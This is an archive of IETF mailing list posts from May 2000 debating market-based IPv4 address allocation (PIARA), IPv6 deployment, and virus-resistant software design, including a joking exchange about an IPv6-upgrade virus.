> development lists.  One of the DOS virus writers claiming that it would
> work as a Linux virus.  No evidence that it does anything though.  I
> would marginally call that one a "proof of concept" or a "maybe of
> concept".
>
> >                               Valdis Kletnieks
> >                               Operating Systems Analyst
> >                               Virginia Tech
>
>         Mike
> --
>  Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
>   (The Mad Wizard)      |  (770) 331-2437   |
http://www.wittsend.com/mhw/
>   NIC whois:  MHW9      |  An optimist believes we live in the best of all
>  PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!

--
Randall R. Stewart
Member Technical Staff
Network Architecture and Technology (NAT)
847-632-7438 fax:847-632-6733




From owner-ietf-outbound  Mon May  8 09:40:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA07416
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 09:40:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07320
	for <ietf@ietf.org>; Mon, 8 May 2000 09:34:37 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200005081329.WAA10273@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id WAA10273; Mon, 8 May 2000 22:29:10 +0900
Subject: Re: PIARA (IP address space economics)
In-Reply-To: <523dntqkjp.fsf@sean.ebone.net> from Sean Doran at "May 8, 2000
 02:43:38 pm"
To: Sean Doran <smd@sean.ebone.net>
Date: Mon, 8 May 2000 22:29:09 +0859 ()
CC: Bill Manning <bmanning@ISI.EDU>, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Sean;

> Likewise, I think that government agencies in various East
> and South Asian countries, and perhaps various Asian ISPs
> or next-generation mobile telephony organizations
> would be extremely happy to bid for a few historical Class As 
> now being under-used by the current registrants, rather
> than being told "no" or "first demonstrate usage" by APNIC.

We, people living or born in Asian-Pacific region, are now thinking
about an aggresively new way of address allocation to promote the
healthy IPv6 Internet.

That is, those promoting the healthy IPv6 Internet will be allocated
a lot of IPv4 addresses.

See a recent ID:

	<draft-ohta-address-allocation-00.txt>

	Usage Based Address Allocation Considered Harmful

for details of the proposal.

If you still worry about multihoming, see another recent ID of mine:

	<draft-ohta-e2e-multihoming-00.txt>

	The Architecture of End to End Multihoming

							Masataka Ohta



From owner-ietf-outbound  Mon May  8 10:20:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA08265
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 10:20:02 -0400 (EDT)
Received: from marcos.networkcs.com (marcos.networkcs.com [137.66.16.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08114
	for <ietf@ietf.org>; Mon, 8 May 2000 10:11:08 -0400 (EDT)
Received: from us.networkcs.com (us.networkcs.com [137.66.11.15])
	by marcos.networkcs.com (8.9.3/8.9.3) with ESMTP id JAA44665
	for <ietf@ietf.org>; Mon, 8 May 2000 09:11:08 -0500 (CDT)
	(envelope-from salo@us.networkcs.com)
Received: (from salo@localhost)
	by us.networkcs.com (8.9.2/8.9.2) id JAA94548
	for ietf@ietf.org; Mon, 8 May 2000 09:11:08 -0500 (CDT)
	(envelope-from salo)
Date: Mon, 8 May 2000 09:11:08 -0500 (CDT)
From: Tim Salo <salo@networkcs.com>
Message-Id: <200005081411.JAA94548@us.networkcs.com>
To: ietf@ietf.org
Subject: RE: VIRUS WARNING
In-Reply-To: <PPECLLOGBEPHLOMKLNAMIEBFCBAA.Michael.CTR.Bellopede@tc.faa.gov>
X-Loop: ietf@ietf.org

> From: "Michael B. Bellopede" <Michael.CTR.Bellopede@tc.faa.gov>
> Subject: RE: VIRUS WARNING
> Date: Mon, 8 May 2000 09:27:14 -0400
> 
> It should be pretty obvious that the only reason that viruses are so
> prolific on MS platforms, is that so many people are using them....

Hardly.

Compare the apparent security considerations in the design of
Microsoft Outlook and Word (execute pretty much anything with few
limitations on the effects the executing code can have on the hosting
system) with those of Java and the Java virtual machine (provide
a sandbox in which the code executes and provide mechanisms (e.g., the
SecurityManager) that control the effects of the code executing in
the sandbox can have on the broader environment).

It should be pretty obvious that security is a greater design consideration
for some systems than for others.

-tjs



From owner-ietf-outbound  Mon May  8 10:50:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA08903
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 10:50:02 -0400 (EDT)
Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08809
	for <ietf@ietf.org>; Mon, 8 May 2000 10:44:01 -0400 (EDT)
Received: by sean.ebone.net (Postfix, from userid 1113)
	id DB342876; Mon,  8 May 2000 16:44:01 +0200 (CEST)
To: mohta@necom830.hpcl.titech.ac.jp, smd@sean.ebone.net
Subject: Re: PIARA (IP address space economics)
Cc: bmanning@ISI.EDU, ietf@ietf.org
Message-Id: <20000508144401.DB342876@sean.ebone.net>
Date: Mon,  8 May 2000 16:44:01 +0200 (CEST)
From: smd@ebone.net (Sean Doran)
X-Loop: ietf@ietf.org

Ohta-san:

| 	<draft-ohta-address-allocation-00.txt>

While I agree with you that the current usage-based allocation
system is wrong, your draft's "Assignment Plan" (not more restricted)
proposes to continue an anti-market single-seller model for IP
addresses of both IPv4 and IPv6 flavours.   There is no scope
for negotiating with the monopoly seller, given this tariff.

On the other hand, I do particularly like The More Restricted Assignment Plan:

      No IPv4 address space should be allocated to an ISP, unless the
      ISP support fully operational fully transparent IPv6 service with
      at least 64K IPv6 subnets to all the end users.

because that will force IANA out of its ostrich position with
respect to being a monopoly seller with a non-negotiable monopoly
tariff that imposes significant costs upon consumers, by immediately
forcing the monopoly to stop "selling" addresses except to people
who meet extraordinarily onerous and expensive conditions.

Unfortunately, because you do not actually propose only 
the More Restricted Assignment Plan, your draft effectively continues the
objectionable practice of deliberately introducing artificial
scarcity into IPv4 addresses in order to force your politics upon
ISPs and other businesses.   This is identical to a monopoly which
has goods to sell but nevertheless deliberately restricts supply
in order to support higher prices.

There are two main differences between your draft's proposal and
the current system.

One of the differences is that your political ideals
include the deployment of IPv6, which is something the current
usage-based allocation system does not.  This is simply a change
of the monopoly tariff, the "price" at which the monopoly will
"sell" consumers (non-transferable) address ranges.  So, while
it is an important difference, it is not particularly interesting,
since it is just a higher price in view of a smaller supply.

The much more interesting difference between your draft and the
status quo is that artificial scarcity of IPv4 addresses would evolve
as a result of over-allocating IPv4 address space to applicants,
rather than attempting to allocate the smallest workable amount of
address space, as is the practice now.

This erodes IANA et al.'s monopoly supply, because now
there is a surplus held by many other parties, who then
can act as alternative suppliers of IPv4 address space.

If steps are taken to avoid the development of a massive black
aftermarket for IPv4 addresses overallocated by IANA et al., by providing
the mechanisms of a "white market" -- notably a public registry of
IP address title, with an exclusive but transferable right to
transfer title to another party --  then I would object much less
strenuously to your draft, since it is fundamentally PIARA, but
with a rather odd auctioning system for the remaining not-yet-allocated
IPv4 address space.

Given the involvement of one of your co-authors in the original PIARA
work, I am not at all suprised that the draft can easily be read
to favour the ultimate development of a market for IPv4 addresses.

Let's just not make that market completely black, with all
post-IANA/registry-allocation transactions completely sub rosa.

Note that the development of a "white market" public registry
does not rely upon the IANA.  If the IANA and its registries
were to immediately cease offering IPv4 addresse AT ALL, it is
quite clear that market forces would arrive upon a suitable
solution rather quickly.   Given that the initial allocation
prices proposed in your draft are extremely onerous when combined
with the conditions in RFC 2450 ("higher cost of acquiring bundled goods,
rather than only one good individually; cross-subsidy"), I imagine
that there could easily develop a situation in which IANA et al.
simply could not find a buyer prepared to meet their price / qualified
to meet the allocation conditions.

Bear in mind that the IANA IP allocation system has two functions:
	1/ prevent namespace collision
	2/ provide one of many inputs which network operators
	   may choose to use when configuring their networks

Both of these functions can easily be done elsewhere.  
There just has been no reason to do that yet.

Your draft would supply a very strong reason, therefore I support your draft.

How do we get it adopted quickly, and get the IANA, APNIC, ARIN and RIPE
to IMMEDIATELY cease offering IPv4 address space to people who do
not FULLY comply with the requirements in your More Restricted Assignment Plan,
and the various RFCs and standards-tract documents it rests upon?

	Sean.



From owner-ietf-outbound  Mon May  8 13:20:47 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA12484
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 13:20:02 -0400 (EDT)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12327
	for <ietf@ietf.org>; Mon, 8 May 2000 13:14:25 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id ABEF44CE0E; Mon,  8 May 2000 13:14:24 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id NAA25673;
	Mon, 8 May 2000 13:14:23 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 64D5F35DC2; Mon,  8 May 2000 13:14:23 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Bill Manning <bmanning@isi.edu>
Cc: smd@ebone.net (Sean Doran), ietf@ietf.org, moore@cs.utk.edu
Subject: Re: IPv6: Past mistakes repeated? 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 08 May 2000 13:14:23 -0400
Sender: smb@research.att.com
Message-Id: <20000508171423.64D5F35DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <200005080110.SAA22920@boreas.isi.edu>, Bill Manning writes:
>
>Sigh,
>	Please -NOT- the PIARA again. There is near zero value in the
>number/address 

Right.  That's why, following the publication of RFC 1631, everyone gave up on 
NATs as a bad idea, and no one is selling them.  We all have all the addresses 
we want, so why bother translating?


		--Steve Bellovin




From owner-ietf-outbound  Mon May  8 13:40:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA13099
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 13:40:03 -0400 (EDT)
Received: from mail.nanospace.com (qmailr@mail.nanospace.com [209.213.199.10])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA13055
	for <ietf@ietf.org>; Mon, 8 May 2000 13:39:34 -0400 (EDT)
Received: (qmail 26508 invoked by uid 74); 8 May 2000 17:39:34 -0000
Received: from jdunn@yipes.com by mail with scan4virus-0.19 (Clean. Processed in 0.465907 secs); 08/05/2000 10:39:33
Received: from thegrind.yipes.com (HELO zzsf220) (209.213.212.254)
  by mail.nanospace.com with SMTP; 8 May 2000 17:39:33 -0000
Reply-To: <jdunn@yipes.com>
From: "Jim Stephenson-Dunn" <jdunn@yipes.com>
To: "'Paul Robinson'" <paul@AKITANET.CO.UK>,
        "'Tripp Lilley'" <tlilley@perspex.com>
Cc: "'Keith Moore'" <moore@cs.utk.edu>, "'Greg Skinner'" <gds@best.com>,
        <ietf@ietf.org>
Subject: RE: IPv6: Past mistakes repeated?
Date: Mon, 8 May 2000 10:39:26 -0700
Message-ID: <01C88F753E97D311A7180090278D1D40689B94@teamsf.yipes.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <01C88F753E97D311A7180090278D1D407694C3@teamsf.yipes.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I like it, Where do I sign up for my IETF black suit and sun glasses, and
can I nominate my own parking spot in advance ?

The real kicker here would be to upgrade everybody's stacks to v6 and still
fool them into believing they are running v4. The noisy cricket I can do
without (although I can thick of a few admins to use this on, who are not
doing their BGP the way they should) , but the neuralizer is a must ;->

Jim

-----Original Message-----
From: Paul Robinson [mailto:paul@akitanet.co.uk]
Sent: Monday, May 08, 2000 2:11 AM
To: Tripp Lilley
Cc: Keith Moore; Greg Skinner; ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?


Tripp Lilley wrote:

> We came up with a wacky idea here yesterday at Interop... Why not
> accelerate v6 deployment by writing a virus that will upgrade
> end-stations' stacks? :)

Even better, why doesn't the IETF employ a bunch of people dressed in
black suits and wearing sun glasses to go around and 'enforce' IPv6...
not as subtle I know, but administrators have this stupid habit of
deleting viruses once they know what's going on, in the foolish belief
that they know what is best! Pah!

By sending a bunch of heavies around various Network Operations and Data
Operations Centers, we can ensure the quickest possible roll-out of IPv6
under the threat of 'Big Billy' getting 'a bit wild with the baseball
bat, right?' sort-of-thing. I'm sure over here in the UK we can
contribute a few East-London types to help everything along nicely...

> That will give us the pervasive deployment needed to convince the ISPs to
> upgrade the core. The "upgrade" that the virus propagates can do
> gratuitous tunneling until it discovers that the infrastructure between it
> and the rest of the world has been upgraded.

Indeed, your solution would get right down to the end user ultimately,
which our lads would not be able to do necessarily, but if your ISP
phoned you up and told you that you had to upgrade to IPv6 'or else' you
would, wouldn't you?

This would also help us in gaining all sorts of blackmail material about
various administrators and senior managment of various ISPs used to put
a little pressure on them, but would also give the IETF an additional
revenue stream, and could potnetially ensure that even Microsoft started
following the 'standard line'...

> (yes, any such toy would need to include a raft of known exploits for
> various Unices, so we can include them in the "upgrade") :)

No! We don't want to fix the holes! We want to keep a record of them
without telling the admins, and when they misbehave, not only can we pop
their kneecaps, set fire to their house, release information to their
families they wouldn't want to be released, but also as a grand finale,
we can take control of the machine and do what we wanted anyway.
Eventually, we as the IETF would have complete control of every machine
connected to the Internet, thereby giving us control of the entire
planet, which in turn would allow us to park wherever we wanted and
*not*get*a*ticket*!!!!!! :-)

--
Paul Robinson - Developer/Sys Admin @ Akitanet http://www.akitanet.co.uk
------------------------------------------------------------------------
Sales: T:+44 (0)1869 337088  F:+44 (0)1869 337488 E:sales@akitanet.co.uk
Techs: T:+44 (0)161 228 6388 F:+44 (0)161 228 6387 E:root@akitanet.co.uk
------------------------------------------------------------------------




From owner-ietf-outbound  Mon May  8 16:40:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA18713
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 16:40:02 -0400 (EDT)
Received: from shell5.ba.best.com (gds@shell5.ba.best.com [206.184.139.136])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18617
	for <ietf@ietf.org>; Mon, 8 May 2000 16:36:32 -0400 (EDT)
Received: (from gds@localhost)
	by shell5.ba.best.com (8.9.3/8.9.2/best.sh) id NAA11621;
	Mon, 8 May 2000 13:36:30 -0700 (PDT)
Date: Mon, 8 May 2000 13:36:30 -0700 (PDT)
From: Greg Skinner <gds@best.com>
Message-Id: <200005082036.NAA11621@shell5.ba.best.com>
To: ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?
X-Loop: ietf@ietf.org

"David R. Conrad" <David.Conrad@nominum.com> wrote:

> Ah, nostalgia.  It's so nice to revisit old "discussions"...

There was a similar discussion here about five years ago where some people
proposed market models for address allocation and routing.  Unfortunately,
it's not in the archives.  If anyone has this discussion archived, could
they please point me to it?  Thanks.

--gregbo



From owner-ietf-outbound  Mon May  8 16:50:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA19050
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 16:50:02 -0400 (EDT)
Received: from shell5.ba.best.com (gds@shell5.ba.best.com [206.184.139.136])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19027
	for <ietf@ietf.org>; Mon, 8 May 2000 16:49:58 -0400 (EDT)
Received: (from gds@localhost)
	by shell5.ba.best.com (8.9.3/8.9.2/best.sh) id NAA16865;
	Mon, 8 May 2000 13:49:59 -0700 (PDT)
Date: Mon, 8 May 2000 13:49:59 -0700 (PDT)
From: Greg Skinner <gds@best.com>
Message-Id: <200005082049.NAA16865@shell5.ba.best.com>
To: ietf@ietf.org
Subject: Re: PIARA (IP address space economics)
     
X-Loop: ietf@ietf.org

smd@ebone.net (Sean Doran) wrote:

> If steps are taken to avoid the development of a massive black
> aftermarket for IPv4 addresses overallocated by IANA et al., by providing
> the mechanisms of a "white market" -- notably a public registry of
> IP address title, with an exclusive but transferable right to
> transfer title to another party --  then I would object much less
> strenuously to your draft, since it is fundamentally PIARA, but
> with a rather odd auctioning system for the remaining not-yet-allocated
> IPv4 address space.

[...]

> How do we get it adopted quickly, and get the IANA, APNIC, ARIN and RIPE
> to IMMEDIATELY cease offering IPv4 address space to people who do
> not FULLY comply with the requirements in your More Restricted Assignment
> Plan, and the various RFCs and standards-tract documents it rests upon?

Is this an appropriate discussion for ICANN's ASO policy mailing list?
(Not that I mind reading it here.)

--gregbo



From owner-ietf-outbound  Mon May  8 17:50:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA20688
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 17:50:02 -0400 (EDT)
Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA20562
	for <ietf@ietf.org>; Mon, 8 May 2000 17:45:17 -0400 (EDT)
Received: (from jnc@localhost)
	by ginger.lcs.mit.edu (8.9.1/8.9.1) id RAA18032;
	Mon, 8 May 2000 17:45:12 -0400
Date: Mon, 8 May 2000 17:45:12 -0400
From: "J. Noel Chiappa" <jnc@ginger.lcs.mit.edu>
Message-Id: <200005082145.RAA18032@ginger.lcs.mit.edu>
To: gds@best.com, ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?
Cc: jnc@ginger.lcs.mit.edu
X-Loop: ietf@ietf.org

    > From: Greg Skinner <gds@best.com>

    > There was a similar discussion here about five years ago where some
    > people proposed market models for address allocation and routing.
    > Unfortunately, it's not in the archives.

I think it was on CIDRD, actually, no?

    > If anyone has this discussion archived, could they please point me to
    > it?

Well, one thing I do have is the draft of: "Suggestions for Market-Based
Allocation of IP Address Blocks", by Paul Resnick (then of AT&T Research, I
don't know where he is now - Paul, you out there?), which I have at:

    http://ana-3.lcs.mit.edu/~jnc/tech/addr_charging.txt

It never turned into an RFC (shame, I thought it was a really well thought
out draft), and I don't think it's anywhere else permanent.

	Noel



From owner-ietf-outbound  Mon May  8 18:20:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA21292
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 18:20:02 -0400 (EDT)
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21255
	for <ietf@ietf.org>; Mon, 8 May 2000 18:18:06 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-green.research.att.com (Postfix) with ESMTP
	id 9263F1E008; Mon,  8 May 2000 18:18:08 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id SAA01704;
	Mon, 8 May 2000 18:18:07 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id ABAC635DC2; Mon,  8 May 2000 18:18:00 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: "J. Noel Chiappa" <jnc@ginger.lcs.mit.edu>
Cc: gds@best.com, ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated? 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 08 May 2000 18:18:00 -0400
Sender: smb@research.att.com
Message-Id: <20000508221800.ABAC635DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <200005082145.RAA18032@ginger.lcs.mit.edu>, "J. Noel Chiappa" writes
:
>    > From: Greg Skinner <gds@best.com>
>
>    > There was a similar discussion here about five years ago where some
>    > people proposed market models for address allocation and routing.
>    > Unfortunately, it's not in the archives.
>
>I think it was on CIDRD, actually, no?
>
>    > If anyone has this discussion archived, could they please point me to
>    > it?
>
>Well, one thing I do have is the draft of: "Suggestions for Market-Based
>Allocation of IP Address Blocks", by Paul Resnick (then of AT&T Research, I
>don't know where he is now - Paul, you out there?), which I have at:
>
>    http://ana-3.lcs.mit.edu/~jnc/tech/addr_charging.txt
>
>It never turned into an RFC (shame, I thought it was a really well thought
>out draft), and I don't think it's anywhere else permanent.

See http://www.research.att.com/~smb/papers/piara/index.html, by Paul, 
Yakov Rekhter, and myself.

		--Steve Bellovin




From owner-ietf-outbound  Mon May  8 19:00:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA22066
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 19:00:02 -0400 (EDT)
Received: from mail2.itu.int (mail2.itu.ch [156.106.192.18])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21995
	for <ietf@ietf.org>; Mon, 8 May 2000 18:58:00 -0400 (EDT)
Received: by mail2.itu.ch with Internet Mail Service (5.5.2650.21)
	id <KQTVQGTB>; Tue, 9 May 2000 00:54:08 +0200
Message-ID: <DA5558CC09AED311ABE10000778D757F4C2CD3@mailsrv.itu.ch>
From: "Shaw, Robert" <Robert.Shaw@itu.int>
To: "'S_S_Dinesh/India/IBM@au1.ibm.com'"
	 <S_S_Dinesh/India/IBM@au1.ibm.com>
Cc: ietf@ietf.org
Subject: RE: Information on Voice Over IP
Date: Mon, 8 May 2000 13:02:44 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Also see under "Information Resources" at

http://www.itu.int/osg/sec/spu/ni/iptel/

Bob
--
Robert Shaw <robert.shaw@itu.int>
ITU Internet Strategy and Policy Advisor
International Telecommunication Union <http://www.itu.int>
Place des Nations, 1211 Geneva, Switzerland



From owner-ietf-outbound  Mon May  8 19:10:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA22352
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 19:10:05 -0400 (EDT)
Received: from shell.nominum.com (shell.nominum.com [204.152.187.59])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA22327
	for <ietf@ietf.org>; Mon, 8 May 2000 19:09:43 -0400 (EDT)
Received: from nominum.com (shell.nominum.com [204.152.187.59])
	by shell.nominum.com (Postfix) with ESMTP
	id 2B1B431905; Mon,  8 May 2000 16:09:13 -0700 (PDT)
Message-ID: <39174917.9AD5BE50@nominum.com>
Date: Mon, 08 May 2000 16:09:11 -0700
From: "David R. Conrad" <David.Conrad@nominum.com>
Organization: Nominum, Inc.
X-Mailer: Mozilla 4.72 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en,ja
MIME-Version: 1.0
To: "Steven M. Bellovin" <smb@research.att.com>
Cc: "J. Noel Chiappa" <jnc@ginger.lcs.mit.edu>, gds@best.com, ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?
References: <20000508221800.ABAC635DC2@smb.research.att.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

For the archives of the historic PIARA discussions, see

http://www.apnic.net/wilma-bin/wilma/piara

(I think the mailing list is still alive)

Rgds,
-drc
--------
"Steven M. Bellovin" wrote:
> 
> In message <200005082145.RAA18032@ginger.lcs.mit.edu>, "J. Noel Chiappa" writes
> :
> >    > From: Greg Skinner <gds@best.com>
> >
> >    > There was a similar discussion here about five years ago where some
> >    > people proposed market models for address allocation and routing.
> >    > Unfortunately, it's not in the archives.
> >
> >I think it was on CIDRD, actually, no?
> >
> >    > If anyone has this discussion archived, could they please point me to
> >    > it?
> >
> >Well, one thing I do have is the draft of: "Suggestions for Market-Based
> >Allocation of IP Address Blocks", by Paul Resnick (then of AT&T Research, I
> >don't know where he is now - Paul, you out there?), which I have at:
> >
> >    http://ana-3.lcs.mit.edu/~jnc/tech/addr_charging.txt
> >
> >It never turned into an RFC (shame, I thought it was a really well thought
> >out draft), and I don't think it's anywhere else permanent.
> 
> See http://www.research.att.com/~smb/papers/piara/index.html, by Paul,
> Yakov Rekhter, and myself.
> 
>                 --Steve Bellovin
> 
> -
> This message was passed through ietf+censored@alvestrand.no, which
> is a sublist of ietf@ietf.org. Not all messages are passed.
> Decisions on what to pass are made solely by Harald Alvestrand.



From owner-ietf-outbound  Mon May  8 21:00:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA24361
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 21:00:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24213
	for <ietf@ietf.org>; Mon, 8 May 2000 20:52:19 -0400 (EDT)
Received: from [130.237.150.138] (jph1.dsv.su.se [130.237.150.138])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id CAA19961;
	Tue, 9 May 2000 02:52:15 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210134b53d0b7c60c4@[130.237.150.138]>
In-Reply-To: <01JP47MG34QK0000MH@MAUVE.INNOSOFT.COM>
References: <200005050039.UAA08387@astro.cs.utk.edu>
 <200005050039.UAA08387@astro.cs.utk.edu>
 <01JP47MG34QK0000MH@MAUVE.INNOSOFT.COM>
Date: Tue, 9 May 2000 02:53:31 +0200
To: ned.freed@innosoft.com
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: VIRUS WARNING
Cc: IETF general mailing list <ietf@ietf.org>
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 11.07 -0800 0-05-07, ned.freed@innosoft.com wrote:
> Well, I was there, and I question the validity of your assessment of what was
> going on. While it is true that there was a clear concensus opposed to adding
> wiretapping facilities in the RAVEN sense, it was by no means 95-98 percent.

Perhaps I misunderstood the question being asked at the
meeting. I understood the question to be if we wanted to
develop protocols to help police trace net villains, you
understood it to be more restricted in only helping police
perform viretapping.

At 21.39 -0700 0-05-07, James P. Salsman wrote:
> I fully agree and have decided to sponsor a contest to correct
> the situation.  I will give one share of Microsoft stock to the
> first person who posts, to this IETF Discussion list, a draft
> shareholder resolution that would, in the opinion of Keith Moore
> or his designated alternate, correct the situation if it were
> adopted by Microsoft Corporation as we currently know it.

Certainly, Microsoft software could be designed to make it more
difficult for virus spreading. However, the villains will learn
to get around such features. Compare with spammers. A few years
ago, you could easily detect spamming by checking if a message
did not come from a mailing list you subscribed to, and did not
have your name in any of the recipient field. Today, more and
more spam messages even contain your name in the text in some
kind of greeting "Hella Jacob", which obviously was put there
to confound spam checkers who detect spam by checking if many
identical messages are sent.

At 06.38 -0400 0-05-08, Garreth Jeremiah wrote:
> The "Java" sandbox idea in my mind is a great one.

My experience is that almost ever where I wanted to do something
useful with applets, what I wanted to do was forbidden by
security restrictions.

At 15.05 +0200 0-05-08, Magnus Danielson wrote:
> What you really would like to have is a common
>accept/deny type of list. This would trim down the
>required OK's quite alot. Those which are on the deny list
>would be silently denied and those on the accept list
>would be silently accepted. Only those not existing on
>either of the lists would actually require manual
>intervention in approving.

This will only work if the identity of the allowed senders
was identified with crypthographic methods. Otherwise,
the virus senders will find ways to make believe being
the people you trust.

---

Methods helping the police track virus makers:

(1) Making software more restrictive in accepting foreign
    code. Comment: Will help, unless the virus producers
    learn to circumwent it. Hass the risk of making life
    for ordinary legal users more difficult.

(2) Improve (1) with strong crypthographic methods to
    identify trusted senders. Comment: A promising method,
    if only strong crypthographic methods get commonly
    used. Note however, those of you who want to
    protect anonymity: Strong crypthographic methods
    are methods to identify people securely, not methods
    to allow people to be anonymous.

(3) Tracing and logging feature to find out where the
    virus came from. Comment: Virus makers will certainly
    try to cheat such systems by incorrect identification
    such as senders IP address. But I still believe this
    is one of the most promising methods.

(4) Sandbox environments for executing possibly dangerous
    code. Comment: Every good programming language should be
    designed as a "virtual machine" where a program, when
    executed, cannot do anything outside of this protected
    environment. I wrote this already in a paper published in
    Datamation, December 1975, pp 77-80, with the title
    "Languages for Reliable Software". However, the safest
    sandboxes are also those most restrictive against doing
    legal things well.

(5) Create anti-bodies which scan incoming data and detect
    known viruses. This is the main methods of the anti-
    virus software sold today. It is, however, becoming
    more difficult since the number of viruses is getting
    so large that the anti-body creators have problems
    keeping up with it.

I do not think this is an either/or situation. To stop
the proliferation of viruses, we should do all of this.
And IETF can certainly help, by designing methods to
support all of these anti-virus activities.

I do not think we can ever stop people from producing
viruses. If, however, we make the risk of getting caught
large enough, most of them will find other methods of
venting their anger at society, like stealing hubcaps
or crashing windows.

There is an obvious conflict between anonymity, privacy,
and detecting criminal behaviour. Different people position
themselves at different places on this scale, but you
cannot deny that the conflict exists. Crime is much
more common in urban than rural areas - just because
people are easier anonymous in the urban areas.
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Tue May  9 04:41:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA12811
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 04:40:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA12772
